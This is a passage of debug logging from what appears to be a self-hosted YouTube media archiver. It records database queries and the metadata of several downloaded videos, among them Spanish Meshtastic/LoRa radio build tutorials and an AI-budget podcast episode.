=> "NRIXPWYmfq8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=NRIXPWYmfq8", "playlist_index" => 30, "timestamp" => 1742493627, "title" => "151 - MESHTASTIC DE BAJO COSTE - CONTRUYE TU FAKETEC - NRF52", "upload_date" => "20250320"} 22:20:00.325 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1564.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:20:00.326 [debug] QUERY OK source="sources" db=0.5ms idle=1566.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:20:00.327 [debug] QUERY OK source="media_items" db=0.8ms idle=1566.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-20 18:00:27Z], 3] 22:20:00.329 [debug] QUERY OK source="media_items" db=1.6ms idle=614.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Siguiendo con el tema Meshtastic, vamos a ver como construir nosotros un nodo Mesh de bajo coste, con la plataforma Faketec.\n\nSi quieres ampliar conocimientos de Meshtastic te recomiendo este canal de youtube:\nhttps://www.youtube.com/@RadioPrepper82\n\nEnlaces del material:\n\nEnlace gerbers placas Faketec:\nhttps://github.com/gargomoma/fakeTec_pcb/tree/main\n\nPlaca Pro-Micro NiceNano compatible:\nhttps://es.aliexpress.com/item/1005007738886550.html\n\nModulo HT-RA62:\nhttps://es.aliexpress.com/item/1005005543917617.html\n\nPulsadores miniatura:\nhttps://es.aliexpress.com/item/4001125532910.html\n\nPantalla OLED:\nhttps://es.aliexpress.com/item/1005005970901119.html\n\n\nPágina principal Meshtastic\nhttps://meshtastic.org/\n\nGrupo Telegram Catalunya\nhttps://t.me/MeshtasticGirona\n\nGrupo Telegram España\nhttps://t.me/meshtastic_esp\n\n\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n01:08 - Intro Canal\n01:26 - Introducción\n03:50 - ¿Que necesitais?\n10:51 - Activar modo Boost \n13:06 - Probando NiceNano\n15:20 - Actualizar firmware\n20:49 - Soldando placa\n24:09 - Presentando a Yonsi\n24:37 - Accediendo por Bluetooth\n28:09 - Configuración básica\n30:12 - Calibrando medida de tensión\n35:41 - Conclusiones\n\n\n\n#meshtastic #nicenano #868Mhz #hamradio #mesh #redes #radioaficionados #diyelectronics #emergencias #preparacionismo #preppers\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "151 - MESHTASTIC DE BAJO COSTE - CONTRUYE TU FAKETEC - NRF52", "58f6039c-73e3-4df9-9392-78153aba9de9", 2253, false, "NRIXPWYmfq8", "https://www.youtube.com/watch?v=NRIXPWYmfq8", 30, "/downloads/music/ea3grn/151 - MESHTASTIC DE BAJO COSTE - CONTRUYE TU FAKETEC - NRF52.m4a", false, false, false, 3, [], 98, ~U[2025-03-20 18:00:27Z], ~U[2026-02-07 21:20:00Z], ~U[2026-02-07 21:20:00Z], "Siguiendo con el tema Meshtastic, vamos a ver como construir nosotros un nodo Mesh de bajo coste, con la plataforma Faketec.\n\nSi quieres ampliar conocimientos de Meshtastic te recomiendo este canal de youtube:\nhttps://www.youtube.com/@RadioPrepper82\n\nEnlaces del material:\n\nEnlace gerbers placas Faketec:\nhttps://github.com/gargomoma/fakeTec_pcb/tree/main\n\nPlaca Pro-Micro NiceNano compatible:\nhttps://es.aliexpress.com/item/1005007738886550.html\n\nModulo HT-RA62:\nhttps://es.aliexpress.com/item/1005005543917617.html\n\nPulsadores miniatura:\nhttps://es.aliexpress.com/item/4001125532910.html\n\nPantalla OLED:\nhttps://es.aliexpress.com/item/1005005970901119.html\n\n\nPágina principal Meshtastic\nhttps://meshtastic.org/\n\nGrupo Telegram Catalunya\nhttps://t.me/MeshtasticGirona\n\nGrupo Telegram España\nhttps://t.me/meshtastic_esp\n\n\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n01:08 - Intro Canal\n01:26 - Introducción\n03:50 - ¿Que necesitais?\n10:51 - Activar modo Boost \n13:06 - Probando NiceNano\n15:20 - Actualizar firmware\n20:49 - Soldando placa\n24:09 - Presentando a Yonsi\n24:37 - Accediendo por Bluetooth\n28:09 - Configuración básica\n30:12 - Calibrando medida de tensión\n35:41 - Conclusiones\n\n\n\n#meshtastic #nicenano #868Mhz #hamradio #mesh #redes #radioaficionados #diyelectronics #emergencias #preparacionismo #preppers\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "151 - MESHTASTIC DE BAJO COSTE - CONTRUYE TU FAKETEC - NRF52", 2253, false, "NRIXPWYmfq8", "https://www.youtube.com/watch?v=NRIXPWYmfq8", "/downloads/music/ea3grn/151 - MESHTASTIC DE BAJO COSTE - CONTRUYE TU FAKETEC - NRF52.m4a", false, 3, ~U[2025-03-20 18:00:27Z]] 22:20:00.330 [debug] QUERY OK source="sources" db=0.6ms idle=233.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:20:00.331 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:00.332 [debug] QUERY OK source="media_items" db=0.5ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1349] 22:20:00.332 [debug] Current batch of media processed. Will check again in 1000ms 22:20:01.280 [debug] Current batch of media processed. Will check again in 1000ms 22:20:01.332 [debug] Current batch of media processed. Will check again in 1000ms 22:20:02.281 [debug] Current batch of media processed. Will check again in 1000ms 22:20:02.333 [debug] Current batch of media processed. Will check again in 1000ms 22:20:03.282 [debug] Current batch of media processed. Will check again in 1000ms 22:20:03.334 [debug] Current batch of media processed. Will check again in 1000ms 22:20:04.283 [debug] Current batch of media processed. Will check again in 1000ms 22:20:04.335 [debug] Current batch of media processed. Will check again in 1000ms 22:20:05.284 [debug] Current batch of media processed. Will check again in 1000ms 22:20:05.336 [debug] Current batch of media processed. Will check again in 1000ms 22:20:06.285 [debug] Current batch of media processed. Will check again in 1000ms 22:20:06.337 [debug] Current batch of media processed. Will check again in 1000ms 22:20:07.286 [debug] Current batch of media processed. Will check again in 1000ms 22:20:07.338 [debug] Current batch of media processed. Will check again in 1000ms 22:20:08.287 [debug] Current batch of media processed. Will check again in 1000ms 22:20:08.339 [debug] Current batch of media processed. Will check again in 1000ms 22:20:09.288 [debug] Current batch of media processed. Will check again in 1000ms 22:20:09.340 [debug] Current batch of media processed. Will check again in 1000ms 22:20:10.289 [debug] Current batch of media processed. Will check again in 1000ms 22:20:10.341 [debug] Current batch of media processed. Will check again in 1000ms 22:20:11.290 [debug] Current batch of media processed. Will check again in 1000ms 22:20:11.342 [debug] Current batch of media processed. Will check again in 1000ms 22:20:12.291 [debug] Current batch of media processed. Will check again in 1000ms 22:20:12.343 [debug] Current batch of media processed. Will check again in 1000ms 22:20:13.292 [debug] Current batch of media processed. Will check again in 1000ms 22:20:13.344 [debug] Current batch of media processed. Will check again in 1000ms 22:20:14.294 [debug] Current batch of media processed. Will check again in 1000ms 22:20:14.349 [debug] Current batch of media processed. Will check again in 1000ms 22:20:15.294 [debug] Current batch of media processed. Will check again in 1000ms 22:20:15.350 [debug] Current batch of media processed. Will check again in 1000ms 22:20:16.295 [debug] Current batch of media processed. Will check again in 1000ms 22:20:16.351 [debug] Current batch of media processed. Will check again in 1000ms 22:20:17.296 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep.2️⃣1️⃣ : Presupuesto de IA's 🤖💸\n\nBueno hoy va de pastuqui 💸💸💸💸!!! Hoy vamos a hablar de nuestro presupuesto de IA y cual debería ser el de tu empresa.\n\nLo abordaremos desde el punto de vista de David García Martínez área mas creativa.. y desde el mio mas de gestión. Y desde luego la parte de desarrollos.\n\nNo tenemos miedo a decirte que gastes... lo vas a recuperar en el primer mes... así que no seas tacaño, ni miedoso y empieza a pagarte subscripciones!\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#Presupuesto hashtag#Budget hashtag#ChatGPT hashtag#Fireflies hashtag#FreePick hashtag#Canva hashtag#Kling hashtag#Copilot\n\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "duration" => 750, "filename" => "/downloads/music/IA mí QUÉ/EP.21: Presupuestos IA.m4a", "id" => "DrQrZTqe_wc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=DrQrZTqe_wc", "playlist_index" => 29, "timestamp" => 1753438756, "title" => "EP.21: Presupuestos IA", "upload_date" => "20250725"} 22:20:17.298 [debug] QUERY OK source="sources" db=1.2ms idle=1538.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:17.299 [debug] QUERY OK source="sources" db=0.5ms idle=1539.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:17.300 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1540.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-25 10:19:16Z], 2] 22:20:17.301 [debug] QUERY OK source="media_items" db=1.2ms idle=1541.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep.2️⃣1️⃣ : Presupuesto de IA's 🤖💸\n\nBueno hoy va de pastuqui 💸💸💸💸!!! Hoy vamos a hablar de nuestro presupuesto de IA y cual debería ser el de tu empresa.\n\nLo abordaremos desde el punto de vista de David García Martínez área mas creativa.. y desde el mio mas de gestión. Y desde luego la parte de desarrollos.\n\nNo tenemos miedo a decirte que gastes... lo vas a recuperar en el primer mes... así que no seas tacaño, ni miedoso y empieza a pagarte subscripciones!\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#Presupuesto hashtag#Budget hashtag#ChatGPT hashtag#Fireflies hashtag#FreePick hashtag#Canva hashtag#Kling hashtag#Copilot\n\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "EP.21: Presupuestos IA", "1afe000f-a265-4f32-8b8e-b48dc6e7fdab", 750, false, "DrQrZTqe_wc", "https://www.youtube.com/watch?v=DrQrZTqe_wc", 29, "/downloads/music/IA mí QUÉ/EP.21: Presupuestos IA.m4a", false, false, false, 2, [], 96, ~U[2025-07-25 10:19:16Z], ~U[2026-02-07 21:20:17Z], ~U[2026-02-07 21:20:17Z], "#IAMIQUE 👉🏼 Ep.2️⃣1️⃣ : Presupuesto de IA's 🤖💸\n\nBueno hoy va de pastuqui 💸💸💸💸!!! Hoy vamos a hablar de nuestro presupuesto de IA y cual debería ser el de tu empresa.\n\nLo abordaremos desde el punto de vista de David García Martínez área mas creativa.. y desde el mio mas de gestión. Y desde luego la parte de desarrollos.\n\nNo tenemos miedo a decirte que gastes... lo vas a recuperar en el primer mes... así que no seas tacaño, ni miedoso y empieza a pagarte subscripciones!\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#Presupuesto hashtag#Budget hashtag#ChatGPT hashtag#Fireflies hashtag#FreePick hashtag#Canva hashtag#Kling hashtag#Copilot\n\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "EP.21: Presupuestos IA", 750, false, "DrQrZTqe_wc", "https://www.youtube.com/watch?v=DrQrZTqe_wc", "/downloads/music/IA mí QUÉ/EP.21: Presupuestos IA.m4a", false, 2, ~U[2025-07-25 10:19:16Z]] 22:20:17.302 [debug] QUERY OK source="sources" db=0.4ms idle=558.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:17.303 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:17.304 [debug] QUERY OK source="media_items" db=0.4ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1327] 22:20:17.304 [debug] Current batch of media processed. Will check again in 1000ms 22:20:17.352 [debug] Current batch of media processed. Will check again in 1000ms 22:20:18.305 [debug] Current batch of media processed. Will check again in 1000ms 22:20:18.353 [debug] Current batch of media processed. Will check again in 1000ms 22:20:19.306 [debug] Current batch of media processed. Will check again in 1000ms 22:20:19.354 [debug] Current batch of media processed. Will check again in 1000ms 22:20:20.307 [debug] Current batch of media processed. Will check again in 1000ms 22:20:20.355 [debug] Current batch of media processed. Will check again in 1000ms 22:20:21.169 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:21.308 [debug] Current batch of media processed. Will check again in 1000ms 22:20:21.356 [debug] Current batch of media processed. Will check again in 1000ms 22:20:22.309 [debug] Current batch of media processed. Will check again in 1000ms 22:20:22.357 [debug] Current batch of media processed. Will check again in 1000ms 22:20:23.310 [debug] Current batch of media processed. Will check again in 1000ms 22:20:23.358 [debug] Current batch of media processed. Will check again in 1000ms 22:20:24.311 [debug] Current batch of media processed. Will check again in 1000ms 22:20:24.359 [debug] Current batch of media processed. Will check again in 1000ms 22:20:25.312 [debug] Current batch of media processed. Will check again in 1000ms 22:20:25.360 [debug] Current batch of media processed. Will check again in 1000ms 22:20:26.313 [debug] Current batch of media processed. Will check again in 1000ms 22:20:26.361 [debug] Current batch of media processed. Will check again in 1000ms 22:20:27.314 [debug] Current batch of media processed. Will check again in 1000ms 22:20:27.362 [debug] Current batch of media processed. Will check again in 1000ms 22:20:28.315 [debug] Current batch of media processed. Will check again in 1000ms 22:20:28.363 [debug] Current batch of media processed. Will check again in 1000ms 22:20:29.316 [debug] Current batch of media processed. Will check again in 1000ms 22:20:29.364 [debug] Current batch of media processed. Will check again in 1000ms 22:20:30.317 [debug] Current batch of media processed. Will check again in 1000ms 22:20:30.365 [debug] Current batch of media processed. Will check again in 1000ms 22:20:31.318 [debug] Current batch of media processed. Will check again in 1000ms 22:20:31.366 [debug] Current batch of media processed. Will check again in 1000ms 22:20:32.319 [debug] Current batch of media processed. Will check again in 1000ms 22:20:32.367 [debug] Current batch of media processed. Will check again in 1000ms 22:20:33.320 [debug] Current batch of media processed. Will check again in 1000ms 22:20:33.368 [debug] Current batch of media processed. Will check again in 1000ms 22:20:34.321 [debug] Current batch of media processed. Will check again in 1000ms 22:20:34.369 [debug] Current batch of media processed. Will check again in 1000ms 22:20:35.322 [debug] Current batch of media processed. Will check again in 1000ms 22:20:35.370 [debug] Current batch of media processed. Will check again in 1000ms 22:20:36.323 [debug] Current batch of media processed. Will check again in 1000ms 22:20:36.371 [debug] Current batch of media processed. Will check again in 1000ms 22:20:37.324 [debug] Current batch of media processed. Will check again in 1000ms 22:20:37.372 [debug] Current batch of media processed. Will check again in 1000ms 22:20:38.325 [debug] Current batch of media processed. Will check again in 1000ms 22:20:38.373 [debug] Current batch of media processed. Will check again in 1000ms 22:20:39.326 [debug] Current batch of media processed. Will check again in 1000ms 22:20:39.374 [debug] Current batch of media processed. Will check again in 1000ms 22:20:40.327 [debug] Current batch of media processed. Will check again in 1000ms 22:20:40.375 [debug] Current batch of media processed. Will check again in 1000ms 22:20:41.328 [debug] Current batch of media processed. Will check again in 1000ms 22:20:41.376 [debug] Current batch of media processed. Will check again in 1000ms 22:20:42.329 [debug] Current batch of media processed. Will check again in 1000ms 22:20:42.377 [debug] Current batch of media processed. Will check again in 1000ms 22:20:43.330 [debug] Current batch of media processed. Will check again in 1000ms 22:20:43.378 [debug] Current batch of media processed. Will check again in 1000ms 22:20:44.331 [debug] Current batch of media processed. Will check again in 1000ms 22:20:44.379 [debug] Current batch of media processed. Will check again in 1000ms 22:20:45.332 [debug] Current batch of media processed. Will check again in 1000ms 22:20:45.380 [debug] Current batch of media processed. Will check again in 1000ms 22:20:46.333 [debug] Current batch of media processed. Will check again in 1000ms 22:20:46.381 [debug] Current batch of media processed. Will check again in 1000ms 22:20:47.334 [debug] Current batch of media processed. Will check again in 1000ms 22:20:47.382 [debug] Current batch of media processed. Will check again in 1000ms 22:20:48.335 [debug] Current batch of media processed. Will check again in 1000ms 22:20:48.383 [debug] Current batch of media processed. Will check again in 1000ms 22:20:49.336 [debug] Current batch of media processed. Will check again in 1000ms 22:20:49.384 [debug] Current batch of media processed. Will check again in 1000ms 22:20:50.337 [debug] Current batch of media processed. Will check again in 1000ms 22:20:50.385 [debug] Current batch of media processed. Will check again in 1000ms 22:20:51.171 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:51.338 [debug] Current batch of media processed. Will check again in 1000ms 22:20:51.386 [debug] Current batch of media processed. Will check again in 1000ms 22:20:52.339 [debug] Current batch of media processed. Will check again in 1000ms 22:20:52.387 [debug] Current batch of media processed. Will check again in 1000ms 22:20:53.340 [debug] Current batch of media processed. Will check again in 1000ms 22:20:53.388 [debug] Current batch of media processed. Will check again in 1000ms 22:20:54.341 [debug] Current batch of media processed. Will check again in 1000ms 22:20:54.389 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "En este video vamos a tomar contacto con un tema que aunque no es radioafición como tal, si que toca temas de radio y redes de comunicacion.\n\nSi quieres ampliar conocimientos de Meshtastic te recomiendo este canal de youtube:\nhttps://www.youtube.com/@RadioPrepper82\n\nEnlaces del material:\n\nPágina principal Meshtastic\nhttps://meshtastic.org/\n\nGrupo Telegram Catalunya\nhttps://t.me/MeshtasticGirona\n\nGrupo Telegram España\nhttps://t.me/meshtastic_esp\n\nCaja Heltec V3\nhttps://www.thingiverse.com/thing:6522462\n\nBMS 18650\nhttps://es.aliexpress.com/item/1005007375384541.html\n\nPigtail SMA a IPEX\nhttps://www.amazon.es/dp/B081CDBF5P\n\nCompra Lilygo T-deck:\nhttps://es.aliexpress.com/item/1005005692235592.html\n\nGPS para T-Deck:\nhttps://es.aliexpress.com/item/1005008476063712.html\n\nCaja thingiverse para T-deck:\nhttps://www.thingiverse.com/thing:6490626\n\nBateria 5000 mA para T-Deck:\nhttps://www.amazon.es/dp/B0BG82T39Y\n\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:59 - Intro Canal\n01:17 - Introducción a Meshtastic\n08:09 - Montando Heltec Lora32 V3\n17:31 - Montando T-Deck y añadiendo GPS\n28:16 - Demostración envío mensaje\n\n\n#meshtastic #lora #868Mhz #hamradio #mesh #redes #radioaficionados #diyelectronics #emergencias #preparacionismo #preppers\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1899, "filename" => "/downloads/music/ea3grn/150 - INTRODUCCION MESHTASTIC LORA TDECK LORA32.m4a", "id" => "oDl8bv9s6FQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oDl8bv9s6FQ", "playlist_index" => 31, "timestamp" => 1741888829, "title" => "150 - INTRODUCCION MESHTASTIC LORA TDECK LORA32", "upload_date" => "20250313"} 22:20:54.390 [debug] QUERY OK source="sources" db=0.6ms idle=1631.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:20:54.391 [debug] QUERY OK source="sources" db=0.4ms idle=1632.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:20:54.392 [debug] QUERY OK source="media_items" db=0.7ms idle=1632.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-13 18:00:29Z], 3] 22:20:54.394 [debug] QUERY OK source="media_items" db=1.2ms idle=1582.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT 